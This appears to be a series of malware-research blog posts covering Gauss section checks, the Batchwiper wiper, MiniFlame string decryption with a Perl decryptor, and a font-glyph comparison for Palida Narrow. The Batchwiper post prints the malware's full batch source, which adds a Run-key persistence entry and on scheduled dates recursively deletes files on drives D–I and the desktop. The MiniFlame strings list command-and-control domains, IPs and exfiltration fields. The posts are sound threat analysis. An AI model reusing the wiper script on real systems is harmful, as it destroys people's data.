.text:10001259 lea edi, [esi+edx-38h] ; the section before the last section (zdata) + offset
.text:1000125D test edi, edi
.text:1000125F jz short loc_100012CD
.text:10001261 cmp dword ptr [edi+1Ch], 0BC395587h ; zdata magic PE Header NumberOfRelocations is abused
.text:10001268 jnz short loc_100012CD
.text:1000126A cmp dword ptr [edi+8], 2Ch ; some check on physical size
.text:1000126E jb short loc_100012CD

As you can see, it calculates the exact place for the end of the section table then moves back to the entry before the last (this is .zdata info). Then it checks for a magic number 0xBC395587 which is stored in “NumberOfReloctions” value.

.text:10001270 mov esi, [edi+0Ch]
.text:10001273 add esi, eax
.text:10001275 cmp dword ptr [esi], 0D139120Eh
.text:1000127B jnz short loc_100012CD

Finally it checks the first 4 bytes of the .zdata section against 0xD139120e.

Posted on Leave a comment

#Batchwiper – Batchwiper malware (target:Iran)

Iranian CERT Maher just posted http://www.certcc.ir/index.php?name=news&file=article&sid=2293


Latest investigation have been done by Maher center in cyber space identified a new targeted data wiping malware. Primitive analysis revealed that this malware wipes files on different drives in various predefined times. Despite its simplicity in design, the malware is efficient and can wipe disk partitions and user profile directories without being recognized by anti-virus software. However, it is not considered to be widely distributed. This targeted attack is simple in design and it is not any similarity to the other sophisticated targeted attacks. The identified components of this threat are listed in the following table”…

As it happens quite some time, the malware itself seems not to be much of interest, but the possible targets and the way they probably used it makes it more into attention. So don’t judge too early about the lameness of such tool, it can still pinpoint an important action.

The main file, GrooveMonitor.exe is a self-extracting file, it contains a rar file at position 103936. The rar contains juboot, jucheck and sleep.

MD5
GrooveMonitor.exe [dropper] f3dd76477e16e26571f8c64a7fd4a9
juboot.exe fa0b300e671f73b3b0f7f415ccbe9d41
jucheck.exe c4cd216112cbc5b8c046934843c579f6
SLEEP.EXE ea7ed6b50a9f7b31caeea372a327bd37
WmiPrv.exe b7117b5d8281acd56648c9d08fadf630

Sleep.exe is basically a public tool available for batch programmers:
ftp://ftp.sac.sk/pub/sac/utiltask/sleep_47.zip

juboot is a UPX 3.03 compressed archive of a probably bat2exe converted file (not checked what exactly) (very low on budget to write batch malware?), that contains these:

"
@echo off & setlocal
sleep for 2
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck.exe /t REG_SZ /d "%systemroot%\system32\jucheck.exe" /f

start "" /D"%systemroot%\system32\" "jucheck.exe"
"

PADjuboot.batPA…

jucheck contains
"
@echo off & setlocal

sleep for 2
del "%systemroot%\system32\juboot.exe" /q /s /f
del "%userprofile%\Start Menu\Programs\Startup\GrooveMonitor.exe" /q /s /f

if "%date%"=="Mon 12/10/2012" goto yes
if "%date%"=="Tue 12/11/2012" goto yes
if "%date%"=="Wed 12/12/2012" goto yes

if "%date%"=="Mon 01/21/2013" goto yes
if "%date%"=="Tue 01/22/2013" goto yes
if "%date%"=="Wed 01/23/2013" goto yes

if "%date%"=="Mon 05/06/2013" goto yes
if "%date%"=="Tue 05/07/2013" goto yes
if "%date%"=="Wed 05/08/2013" goto yes

if "%date%"=="Mon 07/22/2013" goto yes
if "%date%"=="Tue 07/23/2013" goto yes
if "%date%"=="Wed 07/24/2013" goto yes

if "%date%"=="Mon 11/11/2013" goto yes
if "%date%"=="Tue 11/12/2013" goto yes
if "%date%"=="Wed 11/13/2013" goto yes

if "%date%"=="Mon 02/03/2014" goto yes
if "%date%"=="Tue 02/04/2014" goto yes
if "%date%"=="Wed 02/05/2014" goto yes

if "%date%"=="Mon 05/05/2014" goto yes
if "%date%"=="Tue 05/06/2014" goto yes
if "%date%"=="Wed 05/07/2014" goto yes

if "%date%"=="Mon 08/11/2014" goto yes
if "%date%"=="Tue 08/12/2014" goto yes
if "%date%"=="Wed 08/13/2014" goto yes

if "%date%"=="Mon 02/02/2015" goto yes
if "%date%"=="Tue 02/03/2015" goto yes
if "%date%"=="Wed 02/04/2015" goto yes
goto no

:yes

sleep for 3000
IF EXIST d:\ del "d:*." /q /s /f
IF EXIST d:\ Chkdsk d:
IF EXIST e:\ del "e:*.
" /q /s /f
IF EXIST e:\ Chkdsk e:
IF EXIST f:\ del "f:*." /q /s /f
IF EXIST f:\ Chkdsk f:
IF EXIST g:\ del "g:*.
" /q /s /f
IF EXIST g:\ Chkdsk g:
IF EXIST h:\ del "h:*." /q /s /f
IF EXIST h:\ Chkdsk h:
IF EXIST i:\ del "i:*.
" /q /s /f
IF EXIST i:\ Chkdsk i:

del "%userprofile%\Desktop*.*" /q /s /f
\start calc

:no
PAjucheck.batP☺
"

Still the questions are
a.) What is the dropper
b.) Is it surely an important attack, no matter how amateur the tools are?

Posted on Leave a comment

SPE/MiniFlame

SPE/MiniFlame contains the same “main” encryption alg from ver 4.00-5.00

It looks like this:
.text:10007DDE Decrypt_str_10007DDE proc near ; CODE XREF: sub_10001223+5p
.text:10007DDE ; sub_10001223+16p ...
.text:10007DDE
.text:10007DDE arg_0 = dword ptr 4
.text:10007DDE
.text:10007DDE mov ecx, [esp+arg_0]
.text:10007DE2 push esi
.text:10007DE3 cmp byte ptr [ecx+0Ch], 42h
.text:10007DE7 lea esi, [ecx+0Dh]
.text:10007DEA jnz short loc_10007DF0
.text:10007DEC mov eax, esi
.text:10007DEE pop esi
.text:10007DEF retn
.text:10007DF0 ; ---------------------------------------------------------------------------
.text:10007DF0
.text:10007DF0 loc_10007DF0: ; CODE XREF: Decrypt_str_10007DDE+Cj
.text:10007DF0 push ebx
.text:10007DF1 xor ebx, ebx
.text:10007DF3 xor edx, edx
.text:10007DF5 cmp [ecx+0Ah], bx
.text:10007DF9 jbe short loc_10007E16
.text:10007DFB
.text:10007DFB loc_10007DFB: ; CODE XREF: Decrypt_str_10007DDE+36j
.text:10007DFB mov al, dl
.text:10007DFD add al, 6Eh
.text:10007DFF imul bl
.text:10007E01 mov bl, 0C2h
.text:10007E03 sub bl, al
.text:10007E05 sub bl, dl
.text:10007E07 add [edx+esi], bl
.text:10007E0A mov bl, [edx+esi]
.text:10007E0D movzx eax, word ptr [ecx+0Ah]
.text:10007E11 inc edx
.text:10007E12 cmp edx, eax
.text:10007E14 jb short loc_10007DFB
.text:10007E16
.text:10007E16 loc_10007E16: ; CODE XREF: Decrypt_str_10007DDE+1Bj
.text:10007E16 mov eax, esi
.text:10007E18 pop ebx
.text:10007E19 mov byte ptr [ecx+0Ch], 42h
.text:10007E1D pop esi
.text:10007E1E retn
.text:10007E1E Decrypt_str_10007DDE endp
.text:10007E1E
.text:10007E1F
.text:10007E1F ; =============== S U B R O U T I N E =======================================
.text:10007E1F
.text:10007E1F
.text:10007E1F srand_10007E1F proc near ; CODE XREF: sub_10003377+Dp
.text:10007E1F push 0 ; Time
.text:10007E21 call ds:time
.text:10007E27 push eax ; Seed
.text:10007E28 call ds:srand
.text:10007E2E pop ecx
.text:10007E2F pop ecx
.text:10007E30 retn
.text:10007E30 srand_10007E1F endp
.text:10007E30

basically the structure is of a stream-cipher, where the generated key is not XORd, but ADDed to the encrypted byte to be decrypted. This is very similar to flame. dl is a counter, so the main thing is bl and the imul function. It’s not that complicated or novel, but still interesting.

It’s a bit strange, as the encrypted string table basically consists of some 3-tuple elements, and only the middle on is encrypted by the code above. It is similar, but not that similar to other Duqu or Flame encryption technique.

Here is some perl code to make a simple decryptor:

tobedecrypted:$t

$al=$dl;
$al= ($al+ 0x6e)%256;
$ax=$al*$bl % 65536; #imul bl?
$al=$ax % 256;
$bl= 0xc2;
$bl= ($bl -$al) %256;
$bl= ($bl -$dl) %256;
$t2= ($t+$bl) %256;
$bl= $t2;
$dl= ($dl+1) %256; #in fact dx, but dh is not used only as loop variable

$bufall2.=pack("C",$t2);
$i+=1;
if ($new==1)
{
$bl=0;
$dl=0;
}

output buffer: $bufall2

So after all, we can decrypt main strings. This encryption technique was not changed between 4.00-5.00 versions and also relates to USB (U) versions, too.

For v5.00 we get the following strings


bdagent.exe
%yJ^
outpost.exe
`icsvnt32a.ocx
Global\AdvTW32Ready500WfEvent
8Global\AdvTW32SyncEvent
lnkfile\shellex\IconHandler
{00021401-0000-0000-C000-000000000046}
dgfw
(icsvnt32.ocx
%windir%\system32\
%allusersprofile%\
msfrmt32.dll
gGlobal\ShellTRPInitEvent
Global\AdvTW32AutoDetect
8Global\MICEvent
(Global\TUSEvent
L1---
Global\ShlZoneSynchMutex
vbtLw
%allusersprofile%\mstlis.log
4|k
Iphlpapi.dll
Ws2_32.dll
\SS_data.bmp.ppm
%temp%\tksp1.tmp
W%temp%\tksp2.tmp
%temp%\tksp3.tmp
W%temp%\tksp4.tmp
%temp%\tksp7.tmp
%temp%\tksp8.tmp
]ContLo.txt
Cont.txt

ChannelD.txt

ChannelC.txt
ChannelB.txt
[ChannelA.txt
zFIONA
nSONIA
) Ti
hELVIS
0EVE
JC,B
DRAKE
xCHARLES
ALEX
BARBARA
tTIFFANY
pEOC
(
P%allusersprofile%\datFE2B.da1
%temp%\daa59.tmp
Q%windir%\system32\msfrmt32.dll
FiV=.
DllStartServer
P)mVu
jDllSto
77?'
lk_data.txt
%^no

inet_addr
inet_ntoa
htonl
ntohs
htons
GetAdaptersInfo
OGetBestInterface
RearWindow detected no activity since delta started, maybe no one logged in?.
+*#PFl+
RearWindow failed.
RearWindow throw an exception.
function returned:
BARBAR
BARBAR
Alex ends. Result is:
Alex Starts
Sam ends. Result is:
nH,1
Sam Starts
9Yg3d
Charles ends. Result is:
Charles Starts
Drake ends. Result is:
Drake Starts
tWO8
Elvis ends. Result is:
Elvis Starts
Eve ends. Result is:
Eve Starts
Sonia ends. Result is:
=1g3
Sonia Starts
'W~~
Fiona ends. Result is:
)OOQ
Fiona Starts
S{+w\
h&K=
{%mk
$&FILE_NAME=
&ACTION=
&COMP_ID=
@&LOGGED_ON=
&SEC_COUNT=
&SUC_CMD_ATTEMPTS=
&CMD_ATTEMPTS=
&COMPUTER_NAME=
P&MAC=
(&IP=
&SERVICE_PACK=
&VERSION_INFO=
+&LI=
&COM_B=
SP v5.00H
@&TOOL_B=
Rdw^,Q
h0T^
&PASSWORD=
@&n8
UNIQUE_NUMBER=
jIQ:
85.25.0.24
LifeS
Q194.192.14.125
Grendercodec.info
videosy
nvidiastream.info
nvidiadrivers.i
202.75.58.179
nvidiasoft.info
syncstream.info
xflashupdates.info
/cgi-bin/counter.cgi
KSYSTEM\CurrentControlSet\Control\TimeZoneInformation
+!XQ
StandardTimeBias
StandardDateBias
SYSTEM\CurrentControlSet\Hardware Profiles\Current\Software\Fonts
PixelShader
advapi32.dll
Global\TRStepEvent
aah/x
sGlobal\MSTKCSrvEvent
vqL7
%allusersprofile%\icsvntu32.ocx
oC7g
Global\ShlZoneDataMutex
SYSTEM
svchost.exe
TRegNotifyChangeKeyVa
"'F/
explorer
KSOFTWARE\Classes\CLSID{35CEC8A3-2BE6-11D2-8773-92E220524153}\InProcServer32
SOFTWARE\Classes\CLSID{450D8FBA-AD25-11D0-98A8-0800361B1103}\InProcServer32
mydocs.dll
SOFTWARE\Classes\CLSID{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32
SOFTWARE\Classes\CLSID{4E14FBA2-2E22-11D1-9964-00C04FBBB345}\InprocServer32
%windir%\System32\es.dll
MACHINE\SOFTWARE\Classes\CLSID{4E14FBA2-2E22-11D1-9964-00C04FBBB345}\InprocServer32
DllUnregisterServer
DllRegisterServer
DllGetClassObject
%a+8@9
DllCanUnloadNow
LSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
PDefaultUserName
6Dq6
hNUL=
kernel32.dll
t_b|&
uGetIfTable
+iphlpapi.dll
shlwapi.dll
0PathS
?A5!
RevertToSelf
ImpersonateLoggedOnUser
X$U-
RegOverridePredefKey
RegOpenCurrentUser
OpenProcessToken
LoadLibraryA
cVirtualAlloc
VirtualFree
VirtualProtect
)GetProcAddress
%allusersprofile%\Wnm.tmp
ProxyOverride
ProxyServer
ProxyEnable
0Software\Microsoft\Windows\CurrentVersion\Internet Settings
www.google.com
0Deskto
@Onenotem.exe
&?G?
Onenote.exe
paltalk.exe
mmc.exe
d&|$us
mstsc.exe
ypager.exe
visio.exe
TE$o
powerpnt.exe
winproj.exe
k (c>
notepad.exe
netscape.exe
putty.exe
ftp.exe
telnet.exe
%exceed.exe
H`vS
sinetinfo.exe
icqlite.exe
icq.exe
@frontpage.exe
aim95.exe
(aim.exe
acrord32.exe
|acrobat.exe
Cygwin.exe
msdev.exe
xmsnmsgr.exe
msgplus.exe
hmsmsgs.exe
excel.exe
HWINWORD.exe
msimn.exe
OUTLOOK.exe
Mozilla.exe
firefox.exe
iexplore.exe

We did not cross-check it, but strange that it’s BARBAR here and not BARBARA (might be the fault of the decryptor).
The more interesting is that everybody was so interested in the language of recent targeted malware (Duqu, Flame, Gauss) and we could not get much “language mistakes” in those cases. Compared to that this is strange:


Alex ends. Result is:
Alex Starts

“Result is” is strange. “Starts” with capital S (for all functions, and all knows versions of the malware) is also strange.

<

p>
“RearWindow throw an exception.” – throw or throws? surely strange. This type of error was never convicted in Duqu and Flame or we were not able to find such yet.

Posted on Leave a comment

Palida Narrow vs. Lucida Bright

It seems Gauss samples already started to float around, so some more info on Palida is not a surprise anymore.

Palida Narrow header info:

'head' Table - Font Header

Size = 54 bytes (expecting 54 bytes)
'head' version: 1.0
fontRevision: 1.1
checkSumAdjustment: 0xC5C64B82
magicNumber: 0x5F0F3CF5
flags: 0x001B- baseline(y)=0 - lsb(x)=0 - int ppem - nonlin aw
unitsPerEm: 2048
created: Fri Jan 28 21:48:24 2000
modified: Mon Dec 19 05:37:00 2011
xMin: -579
yMin: -804
xMax: 2298
yMax: 2033
macStyle bits: 0x0000
lowestRecPPEM: 12
fontDirectionHint: 1
indexToLocFormat: 0
glyphDataFormat: 0

Lucida Bright Regular header info:

'head' Table - Font Header

Size = 54 bytes (expecting 54 bytes)
'head' version: 1.0
fontRevision: 1.1
checkSumAdjustment: 0x8A94C916
magicNumber: 0x5F0F3CF5
flags: 0x001B- baseline(y)=0 - lsb(x)=0 - int ppem - nonlin aw
unitsPerEm: 2048
created: Fri Jan 28 19:13:11 2000
modified: Tue Mar 13 23:02:32 2001
xMin: -550
yMin: -1530
xMax: 3314
yMax: 2419
macStyle bits: 0x0000
lowestRecPPEM: 12
fontDirectionHint: 1
indexToLocFormat: 1
glyphDataFormat: 0

You can see the similarity in creation date.
The interesting thing is that Palida has 457 glyphs:

'maxp' Table - Maximum Profile

Size = 32 bytes (expecting 32 bytes)
'maxp' version: 1.0
numGlyphs: 457

from which some special characters are unusual


Glyf 440 -> PSGlyf Name # 192, name= 'dcaron1'
Glyf 441 -> PSGlyf Name # 193, name= 'Gcedilla1'
Glyf 442 -> PSGlyf Name # 194, name= 'gcedilla1'
Glyf 443 -> PSGlyf Name # 195, name= 'Kcedilla1'
Glyf 444 -> PSGlyf Name # 196, name= 'kcedilla1'
Glyf 445 -> PSGlyf Name # 197, name= 'Lcedilla1'
Glyf 446 -> PSGlyf Name # 198, name= 'lcedilla1'
Glyf 447 -> PSGlyf Name # 199, name= 'Lcaron1'
Glyf 448 -> PSGlyf Name # 200, name= 'lcaron1'
Glyf 449 -> PSGlyf Name # 201, name= 'Ncedilla1'
Glyf 450 -> PSGlyf Name # 202, name= 'ncedilla1'
Glyf 451 -> PSGlyf Name # 203, name= 'Rcedilla1'
Glyf 452 -> PSGlyf Name # 204, name= 'rcedilla1'

Or the fact the physics and math is so important that first glyphs are micro and Ohm.


-------------------------
PSGlyf Name # 1: micro
PSGlyf Name # 2: Ohm
PSGlyf Name # 3: increment
PSGlyf Name # 4: bulletmath
PSGlyf Name # 5: overscore
PSGlyf Name # 6: dmacron

One of the interesting glyphs is U+0104 also called Aogonek. First of all it exists mostly in CE fonts, second, it is a bit different from Lucida samples we checked. Check it yourself, too!